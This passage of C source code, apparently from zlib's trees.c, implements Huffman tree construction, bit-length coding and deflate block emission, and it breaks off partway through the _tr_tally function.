uch _dist_code[DIST_CODE_LEN];
/* Distance codes. The first 256 values correspond to the distances
 * 3 .. 258, the last 256 values correspond to the top 8 bits of
 * the 15 bit distances.
 */

uch _length_code[MAX_MATCH-MIN_MATCH+1];
/* length code for each normalized match length (0 == MIN_MATCH) */

local int base_length[LENGTH_CODES];
/* First normalized length for each code (0 = MIN_MATCH) */

local int base_dist[D_CODES];
/* First normalized distance for each code (0 = distance of 1) */

#else
#  include "trees.h"
#endif /* GEN_TREES_H */

struct static_tree_desc_s {
    const ct_data *static_tree;  /* static tree or NULL */
    const intf *extra_bits;      /* extra bits for each code or NULL */
    int     extra_base;          /* base index for extra_bits */
    int     elems;               /* max number of elements in the tree */
    int     max_length;          /* max bit length for the codes */
};

local static_tree_desc  static_l_desc =
{static_ltree, extra_lbits, LITERALS+1, L_CODES, MAX_BITS};

local static_tree_desc  static_d_desc =
{static_dtree, extra_dbits, 0,          D_CODES, MAX_BITS};

local static_tree_desc  static_bl_desc =
{(const ct_data *)0, extra_blbits, 0,   BL_CODES, MAX_BL_BITS};

/* ===========================================================================
 * Local (static) routines in this file.
 */

local void tr_static_init OF((void));
local void init_block     OF((deflate_state *s));
local void pqdownheap     OF((deflate_state *s, ct_data *tree, int k));
local void gen_bitlen     OF((deflate_state *s, tree_desc *desc));
local void gen_codes      OF((ct_data *tree, int max_code, ushf *bl_count));
local void build_tree     OF((deflate_state *s, tree_desc *desc));
local void scan_tree      OF((deflate_state *s, ct_data *tree, int max_code));
local void send_tree      OF((deflate_state *s, ct_data *tree, int max_code));
local int  build_bl_tree  OF((deflate_state *s));
local void send_all_trees OF((deflate_state *s, int lcodes, int dcodes,
                              int blcodes));
local void compress_block OF((deflate_state *s, ct_data *ltree,
                              ct_data *dtree));
local void set_data_type  OF((deflate_state *s));
local unsigned bi_reverse OF((unsigned value, int length));
local void bi_windup      OF((deflate_state *s));
local void bi_flush       OF((deflate_state *s));
local void copy_block     OF((deflate_state *s, charf *buf, unsigned len,
                              int header));

#ifdef GEN_TREES_H
local void gen_trees_header OF((void));
#endif

#ifndef DEBUG
#  define send_code(s, c, tree) send_bits(s, tree[c].Code, tree[c].Len)
   /* Send a code of the given tree. c and tree must not have side effects */

#else /* DEBUG */
#  define send_code(s, c, tree) \
     { if (z_verbose>2) fprintf(stderr,"\ncd %3d ",(c)); \
       send_bits(s, tree[c].Code, tree[c].Len); }
#endif

/* ===========================================================================
 * Output a short LSB first on the stream.
 * IN assertion: there is enough room in pendingBuf.
 */
#define put_short(s, w) { \
    put_byte(s, (uch)((w) & 0xff)); \
    put_byte(s, (uch)((ush)(w) >> 8)); \
}

/* ===========================================================================
 * Send a value on a given number of bits.
 * IN assertion: length <= 16 and value fits in length bits.
 */
#ifdef DEBUG
local void send_bits      OF((deflate_state *s, int value, int length));

local void send_bits(s, value, length)
    deflate_state *s;
    int value;  /* value to send */
    int length; /* number of bits */
{
    Tracevv((stderr," l %2d v %4x ", length, value));
    Assert(length > 0 && length <= 15, "invalid length");
    s->bits_sent += (ulg)length;

    /* If not enough room in bi_buf, use (valid) bits from bi_buf and
     * (16 - bi_valid) bits from value, leaving (width - (16-bi_valid))
     * unused bits in value.
     */
    if (s->bi_valid > (int)Buf_size - length) {
        s->bi_buf |= (value << s->bi_valid);
        put_short(s, s->bi_buf);
        s->bi_buf = (ush)value >> (Buf_size - s->bi_valid);
        s->bi_valid += length - Buf_size;
    } else {
        s->bi_buf |= value << s->bi_valid;
        s->bi_valid += length;
    }
}
#else /* !DEBUG */

#define send_bits(s, value, length) \
{ int len = length;\
  if (s->bi_valid > (int)Buf_size - len) {\
    int val = value;\
    s->bi_buf |= (val << s->bi_valid);\
    put_short(s, s->bi_buf);\
    s->bi_buf = (ush)val >> (Buf_size - s->bi_valid);\
    s->bi_valid += len - Buf_size;\
  } else {\
    s->bi_buf |= (value) << s->bi_valid;\
    s->bi_valid += len;\
  }\
}
#endif /* DEBUG */


#define MAX(a,b) (a >= b ? a : b)
/* the arguments must not have side effects */

/* ===========================================================================
 * Initialize the various 'constant' tables.
 */
local void tr_static_init()
{
#if defined(GEN_TREES_H) || !defined(STDC)
    static int static_init_done = 0;
    int n;        /* iterates over tree elements */
    int bits;     /* bit counter */
    int length;   /* length value */
    int code;     /* code value */
    int dist;     /* distance index */
    ush bl_count[MAX_BITS+1];
    /* number of codes at each bit length for an optimal tree */

    if (static_init_done) return;

    /* For some embedded targets, global variables are not initialized: */
    static_l_desc.static_tree = static_ltree;
    static_l_desc.extra_bits = extra_lbits;
    static_d_desc.static_tree = static_dtree;
    static_d_desc.extra_bits = extra_dbits;
    static_bl_desc.extra_bits = extra_blbits;

    /* Initialize the mapping length (0..255) -> length code (0..28) */
    length = 0;
    for (code = 0; code < LENGTH_CODES-1; code++) {
        base_length[code] = length;
        for (n = 0; n < (1<<extra_lbits[code]); n++) {
            _length_code[length++] = (uch)code;
        }
    }
    Assert (length == 256, "tr_static_init: length != 256");
    /* Note that the length 255 (match length 258) can be represented
     * in two different ways: code 284 + 5 bits or code 285, so we
     * overwrite length_code[255] to use the best encoding:
     */
    _length_code[length-1] = (uch)code;

    /* Initialize the mapping dist (0..32K) -> dist code (0..29) */
    dist = 0;
    for (code = 0 ; code < 16; code++) {
        base_dist[code] = dist;
        for (n = 0; n < (1<<extra_dbits[code]); n++) {
            _dist_code[dist++] = (uch)code;
        }
    }
    Assert (dist == 256, "tr_static_init: dist != 256");
    dist >>= 7; /* from now on, all distances are divided by 128 */
    for ( ; code < D_CODES; code++) {
        base_dist[code] = dist << 7;
        for (n = 0; n < (1<<(extra_dbits[code]-7)); n++) {
            _dist_code[256 + dist++] = (uch)code;
        }
    }
    Assert (dist == 256, "tr_static_init: 256+dist != 512");

    /* Construct the codes of the static literal tree */
    for (bits = 0; bits <= MAX_BITS; bits++) bl_count[bits] = 0;
    n = 0;
    while (n <= 143) static_ltree[n++].Len = 8, bl_count[8]++;
    while (n <= 255) static_ltree[n++].Len = 9, bl_count[9]++;
    while (n <= 279) static_ltree[n++].Len = 7, bl_count[7]++;
    while (n <= 287) static_ltree[n++].Len = 8, bl_count[8]++;
    /* Codes 286 and 287 do not exist, but we must include them in the
     * tree construction to get a canonical Huffman tree (longest code
     * all ones)
     */
    gen_codes((ct_data *)static_ltree, L_CODES+1, bl_count);

    /* The static distance tree is trivial: */
    for (n = 0; n < D_CODES; n++) {
        static_dtree[n].Len = 5;
        static_dtree[n].Code = bi_reverse((unsigned)n, 5);
    }
    static_init_done = 1;

#  ifdef GEN_TREES_H
    gen_trees_header();
#  endif
#endif /* defined(GEN_TREES_H) || !defined(STDC) */
}

/* ===========================================================================
 * Genererate the file trees.h describing the static trees.
 */
#ifdef GEN_TREES_H
#  ifndef DEBUG
#    include <stdio.h>
#  endif

#  define SEPARATOR(i, last, width) \
      ((i) == (last)? "\n};\n\n" :    \
       ((i) % (width) == (width)-1 ? ",\n" : ", "))

void gen_trees_header()
{
    FILE *header = fopen("trees.h", "w");
    int i;

    Assert (header != NULL, "Can't open trees.h");
    fprintf(header,
	    "/* header created automatically with -DGEN_TREES_H */\n\n");

    fprintf(header, "local const ct_data static_ltree[L_CODES+2] = {\n");
    for (i = 0; i < L_CODES+2; i++) {
	fprintf(header, "{{%3u},{%3u}}%s", static_ltree[i].Code,
		static_ltree[i].Len, SEPARATOR(i, L_CODES+1, 5));
    }

    fprintf(header, "local const ct_data static_dtree[D_CODES] = {\n");
    for (i = 0; i < D_CODES; i++) {
	fprintf(header, "{{%2u},{%2u}}%s", static_dtree[i].Code,
		static_dtree[i].Len, SEPARATOR(i, D_CODES-1, 5));
    }

    fprintf(header, "const uch _dist_code[DIST_CODE_LEN] = {\n");
    for (i = 0; i < DIST_CODE_LEN; i++) {
	fprintf(header, "%2u%s", _dist_code[i],
		SEPARATOR(i, DIST_CODE_LEN-1, 20));
    }

    fprintf(header, "const uch _length_code[MAX_MATCH-MIN_MATCH+1]= {\n");
    for (i = 0; i < MAX_MATCH-MIN_MATCH+1; i++) {
	fprintf(header, "%2u%s", _length_code[i],
		SEPARATOR(i, MAX_MATCH-MIN_MATCH, 20));
    }

    fprintf(header, "local const int base_length[LENGTH_CODES] = {\n");
    for (i = 0; i < LENGTH_CODES; i++) {
	fprintf(header, "%1u%s", base_length[i],
		SEPARATOR(i, LENGTH_CODES-1, 20));
    }

    fprintf(header, "local const int base_dist[D_CODES] = {\n");
    for (i = 0; i < D_CODES; i++) {
	fprintf(header, "%5u%s", base_dist[i],
		SEPARATOR(i, D_CODES-1, 10));
    }

    fclose(header);
}
#endif /* GEN_TREES_H */

/* ===========================================================================
 * Initialize the tree data structures for a new zlib stream.
 */
void _tr_init(s)
    deflate_state *s;
{
    tr_static_init();

    s->l_desc.dyn_tree = s->dyn_ltree;
    s->l_desc.stat_desc = &static_l_desc;

    s->d_desc.dyn_tree = s->dyn_dtree;
    s->d_desc.stat_desc = &static_d_desc;

    s->bl_desc.dyn_tree = s->bl_tree;
    s->bl_desc.stat_desc = &static_bl_desc;

    s->bi_buf = 0;
    s->bi_valid = 0;
    s->last_eob_len = 8; /* enough lookahead for inflate */
#ifdef DEBUG
    s->compressed_len = 0L;
    s->bits_sent = 0L;
#endif

    /* Initialize the first block of the first file: */
    init_block(s);
}

/* ===========================================================================
 * Initialize a new block.
 */
local void init_block(s)
    deflate_state *s;
{
    int n; /* iterates over tree elements */

    /* Initialize the trees. */
    for (n = 0; n < L_CODES;  n++) s->dyn_ltree[n].Freq = 0;
    for (n = 0; n < D_CODES;  n++) s->dyn_dtree[n].Freq = 0;
    for (n = 0; n < BL_CODES; n++) s->bl_tree[n].Freq = 0;

    s->dyn_ltree[END_BLOCK].Freq = 1;
    s->opt_len = s->static_len = 0L;
    s->last_lit = s->matches = 0;
}

#define SMALLEST 1
/* Index within the heap array of least frequent node in the Huffman tree */


/* ===========================================================================
 * Remove the smallest element from the heap and recreate the heap with
 * one less element. Updates heap and heap_len.
 */
#define pqremove(s, tree, top) \
{\
    top = s->heap[SMALLEST]; \
    s->heap[SMALLEST] = s->heap[s->heap_len--]; \
    pqdownheap(s, tree, SMALLEST); \
}

/* ===========================================================================
 * Compares to subtrees, using the tree depth as tie breaker when
 * the subtrees have equal frequency. This minimizes the worst case length.
 */
#define smaller(tree, n, m, depth) \
   (tree[n].Freq < tree[m].Freq || \
   (tree[n].Freq == tree[m].Freq && depth[n] <= depth[m]))

/* ===========================================================================
 * Restore the heap property by moving down the tree starting at node k,
 * exchanging a node with the smallest of its two sons if necessary, stopping
 * when the heap property is re-established (each father smaller than its
 * two sons).
 */
local void pqdownheap(s, tree, k)
    deflate_state *s;
    ct_data *tree;  /* the tree to restore */
    int k;               /* node to move down */
{
    int v = s->heap[k];
    int j = k << 1;  /* left son of k */
    while (j <= s->heap_len) {
        /* Set j to the smallest of the two sons: */
        if (j < s->heap_len &&
            smaller(tree, s->heap[j+1], s->heap[j], s->depth)) {
            j++;
        }
        /* Exit if v is smaller than both sons */
        if (smaller(tree, v, s->heap[j], s->depth)) break;

        /* Exchange v with the smallest son */
        s->heap[k] = s->heap[j];  k = j;

        /* And continue down the tree, setting j to the left son of k */
        j <<= 1;
    }
    s->heap[k] = v;
}

/* ===========================================================================
 * Compute the optimal bit lengths for a tree and update the total bit length
 * for the current block.
 * IN assertion: the fields freq and dad are set, heap[heap_max] and
 *    above are the tree nodes sorted by increasing frequency.
 * OUT assertions: the field len is set to the optimal bit length, the
 *     array bl_count contains the frequencies for each bit length.
 *     The length opt_len is updated; static_len is also updated if stree is
 *     not null.
 */
local void gen_bitlen(s, desc)
    deflate_state *s;
    tree_desc *desc;    /* the tree descriptor */
{
    ct_data *tree        = desc->dyn_tree;
    int max_code         = desc->max_code;
    const ct_data *stree = desc->stat_desc->static_tree;
    const intf *extra    = desc->stat_desc->extra_bits;
    int base             = desc->stat_desc->extra_base;
    int max_length       = desc->stat_desc->max_length;
    int h;              /* heap index */
    int n, m;           /* iterate over the tree elements */
    int bits;           /* bit length */
    int xbits;          /* extra bits */
    ush f;              /* frequency */
    int overflow = 0;   /* number of elements with bit length too large */

    for (bits = 0; bits <= MAX_BITS; bits++) s->bl_count[bits] = 0;

    /* In a first pass, compute the optimal bit lengths (which may
     * overflow in the case of the bit length tree).
     */
    tree[s->heap[s->heap_max]].Len = 0; /* root of the heap */

    for (h = s->heap_max+1; h < HEAP_SIZE; h++) {
        n = s->heap[h];
        bits = tree[tree[n].Dad].Len + 1;
        if (bits > max_length) bits = max_length, overflow++;
        tree[n].Len = (ush)bits;
        /* We overwrite tree[n].Dad which is no longer needed */

        if (n > max_code) continue; /* not a leaf node */

        s->bl_count[bits]++;
        xbits = 0;
        if (n >= base) xbits = extra[n-base];
        f = tree[n].Freq;
        s->opt_len += (ulg)f * (bits + xbits);
        if (stree) s->static_len += (ulg)f * (stree[n].Len + xbits);
    }
    if (overflow == 0) return;

    Trace((stderr,"\nbit length overflow\n"));
    /* This happens for example on obj2 and pic of the Calgary corpus */

    /* Find the first bit length which could increase: */
    do {
        bits = max_length-1;
        while (s->bl_count[bits] == 0) bits--;
        s->bl_count[bits]--;      /* move one leaf down the tree */
        s->bl_count[bits+1] += 2; /* move one overflow item as its brother */
        s->bl_count[max_length]--;
        /* The brother of the overflow item also moves one step up,
         * but this does not affect bl_count[max_length]
         */
        overflow -= 2;
    } while (overflow > 0);

    /* Now recompute all bit lengths, scanning in increasing frequency.
     * h is still equal to HEAP_SIZE. (It is simpler to reconstruct all
     * lengths instead of fixing only the wrong ones. This idea is taken
     * from 'ar' written by Haruhiko Okumura.)
     */
    for (bits = max_length; bits != 0; bits--) {
        n = s->bl_count[bits];
        while (n != 0) {
            m = s->heap[--h];
            if (m > max_code) continue;
            if (tree[m].Len != (unsigned) bits) {
                Trace((stderr,"code %d bits %d->%d\n", m, tree[m].Len, bits));
                s->opt_len += ((long)bits - (long)tree[m].Len)
                              *(long)tree[m].Freq;
                tree[m].Len = (ush)bits;
            }
            n--;
        }
    }
}

/* ===========================================================================
 * Generate the codes for a given tree and bit counts (which need not be
 * optimal).
 * IN assertion: the array bl_count contains the bit length statistics for
 * the given tree and the field len is set for all tree elements.
 * OUT assertion: the field code is set for all tree elements of non
 *     zero code length.
 */
local void gen_codes (tree, max_code, bl_count)
    ct_data *tree;             /* the tree to decorate */
    int max_code;              /* largest code with non zero frequency */
    ushf *bl_count;            /* number of codes at each bit length */
{
    ush next_code[MAX_BITS+1]; /* next code value for each bit length */
    ush code = 0;              /* running code value */
    int bits;                  /* bit index */
    int n;                     /* code index */

    /* The distribution counts are first used to generate the code values
     * without bit reversal.
     */
    for (bits = 1; bits <= MAX_BITS; bits++) {
        next_code[bits] = code = (code + bl_count[bits-1]) << 1;
    }
    /* Check that the bit counts in bl_count are consistent. The last code
     * must be all ones.
     */
    Assert (code + bl_count[MAX_BITS]-1 == (1<<MAX_BITS)-1,
            "inconsistent bit counts");
    Tracev((stderr,"\ngen_codes: max_code %d ", max_code));

    for (n = 0;  n <= max_code; n++) {
        int len = tree[n].Len;
        if (len == 0) continue;
        /* Now reverse the bits */
        tree[n].Code = bi_reverse(next_code[len]++, len);

        Tracecv(tree != static_ltree, (stderr,"\nn %3d %c l %2d c %4x (%x) ",
             n, (isgraph(n) ? n : ' '), len, tree[n].Code, next_code[len]-1));
    }
}

/* ===========================================================================
 * Construct one Huffman tree and assigns the code bit strings and lengths.
 * Update the total bit length for the current block.
 * IN assertion: the field freq is set for all tree elements.
 * OUT assertions: the fields len and code are set to the optimal bit length
 *     and corresponding code. The length opt_len is updated; static_len is
 *     also updated if stree is not null. The field max_code is set.
 */
local void build_tree(s, desc)
    deflate_state *s;
    tree_desc *desc; /* the tree descriptor */
{
    ct_data *tree         = desc->dyn_tree;
    const ct_data *stree  = desc->stat_desc->static_tree;
    int elems             = desc->stat_desc->elems;
    int n, m;          /* iterate over heap elements */
    int max_code = -1; /* largest code with non zero frequency */
    int node;          /* new node being created */

    /* Construct the initial heap, with least frequent element in
     * heap[SMALLEST]. The sons of heap[n] are heap[2*n] and heap[2*n+1].
     * heap[0] is not used.
     */
    s->heap_len = 0, s->heap_max = HEAP_SIZE;

    for (n = 0; n < elems; n++) {
        if (tree[n].Freq != 0) {
            s->heap[++(s->heap_len)] = max_code = n;
            s->depth[n] = 0;
        } else {
            tree[n].Len = 0;
        }
    }

    /* The pkzip format requires that at least one distance code exists,
     * and that at least one bit should be sent even if there is only one
     * possible code. So to avoid special checks later on we force at least
     * two codes of non zero frequency.
     */
    while (s->heap_len < 2) {
        node = s->heap[++(s->heap_len)] = (max_code < 2 ? ++max_code : 0);
        tree[node].Freq = 1;
        s->depth[node] = 0;
        s->opt_len--; if (stree) s->static_len -= stree[node].Len;
        /* node is 0 or 1 so it does not have extra bits */
    }
    desc->max_code = max_code;

    /* The elements heap[heap_len/2+1 .. heap_len] are leaves of the tree,
     * establish sub-heaps of increasing lengths:
     */
    for (n = s->heap_len/2; n >= 1; n--) pqdownheap(s, tree, n);

    /* Construct the Huffman tree by repeatedly combining the least two
     * frequent nodes.
     */
    node = elems;              /* next internal node of the tree */
    do {
        pqremove(s, tree, n);  /* n = node of least frequency */
        m = s->heap[SMALLEST]; /* m = node of next least frequency */

        s->heap[--(s->heap_max)] = n; /* keep the nodes sorted by frequency */
        s->heap[--(s->heap_max)] = m;

        /* Create a new node father of n and m */
        tree[node].Freq = tree[n].Freq + tree[m].Freq;
        s->depth[node] = (uch) (MAX(s->depth[n], s->depth[m]) + 1);
        tree[n].Dad = tree[m].Dad = (ush)node;
#ifdef DUMP_BL_TREE
        if (tree == s->bl_tree) {
            fprintf(stderr,"\nnode %d(%d), sons %d(%d) %d(%d)",
                    node, tree[node].Freq, n, tree[n].Freq, m, tree[m].Freq);
        }
#endif
        /* and insert the new node in the heap */
        s->heap[SMALLEST] = node++;
        pqdownheap(s, tree, SMALLEST);

    } while (s->heap_len >= 2);

    s->heap[--(s->heap_max)] = s->heap[SMALLEST];

    /* At this point, the fields freq and dad are set. We can now
     * generate the bit lengths.
     */
    gen_bitlen(s, (tree_desc *)desc);

    /* The field len is now set, we can generate the bit codes */
    gen_codes ((ct_data *)tree, max_code, s->bl_count);
}

/* ===========================================================================
 * Scan a literal or distance tree to determine the frequencies of the codes
 * in the bit length tree.
 */
local void scan_tree (s, tree, max_code)
    deflate_state *s;
    ct_data *tree;   /* the tree to be scanned */
    int max_code;    /* and its largest code of non zero frequency */
{
    int n;                     /* iterates over all tree elements */
    int prevlen = -1;          /* last emitted length */
    int curlen;                /* length of current code */
    int nextlen = tree[0].Len; /* length of next code */
    int count = 0;             /* repeat count of the current code */
    int max_count = 7;         /* max repeat count */
    int min_count = 4;         /* min repeat count */

    if (nextlen == 0) max_count = 138, min_count = 3;
    tree[max_code+1].Len = (ush)0xffff; /* guard */

    for (n = 0; n <= max_code; n++) {
        curlen = nextlen; nextlen = tree[n+1].Len;
        if (++count < max_count && curlen == nextlen) {
            continue;
        } else if (count < min_count) {
            s->bl_tree[curlen].Freq += count;
        } else if (curlen != 0) {
            if (curlen != prevlen) s->bl_tree[curlen].Freq++;
            s->bl_tree[REP_3_6].Freq++;
        } else if (count <= 10) {
            s->bl_tree[REPZ_3_10].Freq++;
        } else {
            s->bl_tree[REPZ_11_138].Freq++;
        }
        count = 0; prevlen = curlen;
        if (nextlen == 0) {
            max_count = 138, min_count = 3;
        } else if (curlen == nextlen) {
            max_count = 6, min_count = 3;
        } else {
            max_count = 7, min_count = 4;
        }
    }
}

/* ===========================================================================
 * Send a literal or distance tree in compressed form, using the codes in
 * bl_tree.
 */
local void send_tree (s, tree, max_code)
    deflate_state *s;
    ct_data *tree; /* the tree to be scanned */
    int max_code;       /* and its largest code of non zero frequency */
{
    int n;                     /* iterates over all tree elements */
    int prevlen = -1;          /* last emitted length */
    int curlen;                /* length of current code */
    int nextlen = tree[0].Len; /* length of next code */
    int count = 0;             /* repeat count of the current code */
    int max_count = 7;         /* max repeat count */
    int min_count = 4;         /* min repeat count */

    /* tree[max_code+1].Len = -1; */  /* guard already set */
    if (nextlen == 0) max_count = 138, min_count = 3;

    for (n = 0; n <= max_code; n++) {
        curlen = nextlen; nextlen = tree[n+1].Len;
        if (++count < max_count && curlen == nextlen) {
            continue;
        } else if (count < min_count) {
            do { send_code(s, curlen, s->bl_tree); } while (--count != 0);

        } else if (curlen != 0) {
            if (curlen != prevlen) {
                send_code(s, curlen, s->bl_tree); count--;
            }
            Assert(count >= 3 && count <= 6, " 3_6?");
            send_code(s, REP_3_6, s->bl_tree); send_bits(s, count-3, 2);

        } else if (count <= 10) {
            send_code(s, REPZ_3_10, s->bl_tree); send_bits(s, count-3, 3);

        } else {
            send_code(s, REPZ_11_138, s->bl_tree); send_bits(s, count-11, 7);
        }
        count = 0; prevlen = curlen;
        if (nextlen == 0) {
            max_count = 138, min_count = 3;
        } else if (curlen == nextlen) {
            max_count = 6, min_count = 3;
        } else {
            max_count = 7, min_count = 4;
        }
    }
}

/* ===========================================================================
 * Construct the Huffman tree for the bit lengths and return the index in
 * bl_order of the last bit length code to send.
 */
local int build_bl_tree(s)
    deflate_state *s;
{
    int max_blindex;  /* index of last bit length code of non zero freq */

    /* Determine the bit length frequencies for literal and distance trees */
    scan_tree(s, (ct_data *)s->dyn_ltree, s->l_desc.max_code);
    scan_tree(s, (ct_data *)s->dyn_dtree, s->d_desc.max_code);

    /* Build the bit length tree: */
    build_tree(s, (tree_desc *)(&(s->bl_desc)));
    /* opt_len now includes the length of the tree representations, except
     * the lengths of the bit lengths codes and the 5+5+4 bits for the counts.
     */

    /* Determine the number of bit length codes to send. The pkzip format
     * requires that at least 4 bit length codes be sent. (appnote.txt says
     * 3 but the actual value used is 4.)
     */
    for (max_blindex = BL_CODES-1; max_blindex >= 3; max_blindex--) {
        if (s->bl_tree[bl_order[max_blindex]].Len != 0) break;
    }
    /* Update opt_len to include the bit length tree and counts */
    s->opt_len += 3*(max_blindex+1) + 5+5+4;
    Tracev((stderr, "\ndyn trees: dyn %ld, stat %ld",
            s->opt_len, s->static_len));

    return max_blindex;
}

/* ===========================================================================
 * Send the header for a block using dynamic Huffman trees: the counts, the
 * lengths of the bit length codes, the literal tree and the distance tree.
 * IN assertion: lcodes >= 257, dcodes >= 1, blcodes >= 4.
 */
local void send_all_trees(s, lcodes, dcodes, blcodes)
    deflate_state *s;
    int lcodes, dcodes, blcodes; /* number of codes for each tree */
{
    int rank;                    /* index in bl_order */

    Assert (lcodes >= 257 && dcodes >= 1 && blcodes >= 4, "not enough codes");
    Assert (lcodes <= L_CODES && dcodes <= D_CODES && blcodes <= BL_CODES,
            "too many codes");
    Tracev((stderr, "\nbl counts: "));
    send_bits(s, lcodes-257, 5); /* not +255 as stated in appnote.txt */
    send_bits(s, dcodes-1,   5);
    send_bits(s, blcodes-4,  4); /* not -3 as stated in appnote.txt */
    for (rank = 0; rank < blcodes; rank++) {
        Tracev((stderr, "\nbl code %2d ", bl_order[rank]));
        send_bits(s, s->bl_tree[bl_order[rank]].Len, 3);
    }
    Tracev((stderr, "\nbl tree: sent %ld", s->bits_sent));

    send_tree(s, (ct_data *)s->dyn_ltree, lcodes-1); /* literal tree */
    Tracev((stderr, "\nlit tree: sent %ld", s->bits_sent));

    send_tree(s, (ct_data *)s->dyn_dtree, dcodes-1); /* distance tree */
    Tracev((stderr, "\ndist tree: sent %ld", s->bits_sent));
}

/* ===========================================================================
 * Send a stored block
 */
void _tr_stored_block(s, buf, stored_len, eof)
    deflate_state *s;
    charf *buf;       /* input block */
    ulg stored_len;   /* length of input block */
    int eof;          /* true if this is the last block for a file */
{
    send_bits(s, (STORED_BLOCK<<1)+eof, 3);  /* send block type */
#ifdef DEBUG
    s->compressed_len = (s->compressed_len + 3 + 7) & (ulg)~7L;
    s->compressed_len += (stored_len + 4) << 3;
#endif
    copy_block(s, buf, (unsigned)stored_len, 1); /* with header */
}

/* ===========================================================================
 * Send one empty static block to give enough lookahead for inflate.
 * This takes 10 bits, of which 7 may remain in the bit buffer.
 * The current inflate code requires 9 bits of lookahead. If the
 * last two codes for the previous block (real code plus EOB) were coded
 * on 5 bits or less, inflate may have only 5+3 bits of lookahead to decode
 * the last real code. In this case we send two empty static blocks instead
 * of one. (There are no problems if the previous block is stored or fixed.)
 * To simplify the code, we assume the worst case of last real code encoded
 * on one bit only.
 */
void _tr_align(s)
    deflate_state *s;
{
    send_bits(s, STATIC_TREES<<1, 3);
    send_code(s, END_BLOCK, static_ltree);
#ifdef DEBUG
    s->compressed_len += 10L; /* 3 for block type, 7 for EOB */
#endif
    bi_flush(s);
    /* Of the 10 bits for the empty block, we have already sent
     * (10 - bi_valid) bits. The lookahead for the last real code (before
     * the EOB of the previous block) was thus at least one plus the length
     * of the EOB plus what we have just sent of the empty static block.
     */
    if (1 + s->last_eob_len + 10 - s->bi_valid < 9) {
        send_bits(s, STATIC_TREES<<1, 3);
        send_code(s, END_BLOCK, static_ltree);
#ifdef DEBUG
        s->compressed_len += 10L;
#endif
        bi_flush(s);
    }
    s->last_eob_len = 7;
}

/* ===========================================================================
 * Determine the best encoding for the current block: dynamic trees, static
 * trees or store, and output the encoded block to the zip file.
 */
void _tr_flush_block(s, buf, stored_len, eof)
    deflate_state *s;
    charf *buf;       /* input block, or NULL if too old */
    ulg stored_len;   /* length of input block */
    int eof;          /* true if this is the last block for a file */
{
    ulg opt_lenb, static_lenb; /* opt_len and static_len in bytes */
    int max_blindex = 0;  /* index of last bit length code of non zero freq */

    /* Build the Huffman trees unless a stored block is forced */
    if (s->level > 0) {

	 /* Check if the file is ascii or binary */
	if (s->data_type == Z_UNKNOWN) set_data_type(s);

	/* Construct the literal and distance trees */
	build_tree(s, (tree_desc *)(&(s->l_desc)));
	Tracev((stderr, "\nlit data: dyn %ld, stat %ld", s->opt_len,
		s->static_len));

	build_tree(s, (tree_desc *)(&(s->d_desc)));
	Tracev((stderr, "\ndist data: dyn %ld, stat %ld", s->opt_len,
		s->static_len));
	/* At this point, opt_len and static_len are the total bit lengths of
	 * the compressed block data, excluding the tree representations.
	 */

	/* Build the bit length tree for the above two trees, and get the index
	 * in bl_order of the last bit length code to send.
	 */
	max_blindex = build_bl_tree(s);

	/* Determine the best encoding. Compute first the block length in bytes*/
	opt_lenb = (s->opt_len+3+7)>>3;
	static_lenb = (s->static_len+3+7)>>3;

	Tracev((stderr, "\nopt %lu(%lu) stat %lu(%lu) stored %lu lit %u ",
		opt_lenb, s->opt_len, static_lenb, s->static_len, stored_len,
		s->last_lit));

	if (static_lenb <= opt_lenb) opt_lenb = static_lenb;

    } else {
        Assert(buf != (char*)0, "lost buf");
	opt_lenb = static_lenb = stored_len + 5; /* force a stored block */
    }

#ifdef FORCE_STORED
    if (buf != (char*)0) { /* force stored block */
#else
    if (stored_len+4 <= opt_lenb && buf != (char*)0) {
                       /* 4: two words for the lengths */
#endif
        /* The test buf != NULL is only necessary if LIT_BUFSIZE > WSIZE.
         * Otherwise we can't have processed more than WSIZE input bytes since
         * the last block flush, because compression would have been
         * successful. If LIT_BUFSIZE <= WSIZE, it is never too late to
         * transform a block into a stored block.
         */
        _tr_stored_block(s, buf, stored_len, eof);

#ifdef FORCE_STATIC
    } else if (static_lenb >= 0) { /* force static trees */
#else
    } else if (static_lenb == opt_lenb) {
#endif
        send_bits(s, (STATIC_TREES<<1)+eof, 3);
        compress_block(s, (ct_data *)static_ltree, (ct_data *)static_dtree);
#ifdef DEBUG
        s->compressed_len += 3 + s->static_len;
#endif
    } else {
        send_bits(s, (DYN_TREES<<1)+eof, 3);
        send_all_trees(s, s->l_desc.max_code+1, s->d_desc.max_code+1,
                       max_blindex+1);
        compress_block(s, (ct_data *)s->dyn_ltree, (ct_data *)s->dyn_dtree);
#ifdef DEBUG
        s->compressed_len += 3 + s->opt_len;
#endif
    }
    Assert (s->compressed_len == s->bits_sent, "bad compressed size");
    /* The above check is made mod 2^32, for files larger than 512 MB
     * and uLong implemented on 32 bits.
     */
    init_block(s);

    if (eof) {
        bi_windup(s);
#ifdef DEBUG
        s->compressed_len += 7;  /* align on byte boundary */
#endif
    }
    Tracev((stderr,"\ncomprlen %lu(%lu) ", s->compressed_len>>3,
           s->compressed_len-7*eof));
}

/* ===========================================================================
 * Save the match info and tally the frequency counts. Return true if
 * the current block must be flushed.
 */
int _tr_tally (s, dist, lc)
    deflate_state *s;
    unsigned dist;  /* distance of matched string */
    unsigned lc;    /* match length-MIN_MATCH or unmatched char (if dist==0) */
{
    s->d_buf[s->last_lit] = (ush)dist;
    s->l_buf[s->last_lit++] = (uch)lc;
    if (dist == 0) {
        /* lc is the unmatched char */
        s->dyn_ltree[lc].Freq++;
    } else {
        s->matches++;
        /* Here, lc is the match length - MIN_MATCH */
        dist--;             /* dist = match distance - 1 */
        Assert((ush)dist < (ush)MAX_DIST(s) &&
               (ush)lc <= (ush)(MAX_MATCH-MIN_MATCH) &&
               (ush)d_code(dist) < (ush)D_CODES,  "_tr_tally: bad match");

        s->dyn_ltree[_length_code[lc]+LITERALS+1].Freq++;
        s->dyn_dtree[d_code(dist)].Freq++;
    }

#ifdef TRUNCATE_BLOCK
    /* Try to guess if it is profitable to stop the current block here */
    if ((s->last_lit & 0x1fff) == 0 && s->level > 2) {
        /* Compute an upper bound for the compressed length */
        ulg out_length = (ulg)s->last_lit*8L;
        ulg in_length = (ulg)((long)s->strstart - s->block_start);
        int dcode;
        for (dcode = 0; dcode < D_CODES; dcode++) {
            out_length += (ulg)s->dyn_dtree[dcode].Freq *
                (5L+extra_dbits[dcode]);
        }
        out_length >>= 3;
        Tracev((stderr,"\nlast_lit %u, in %ld, out ~%ld(%ld%%) ",
               s->last_lit, in_length, out_length,
               100L - out_length*100L/in_length));
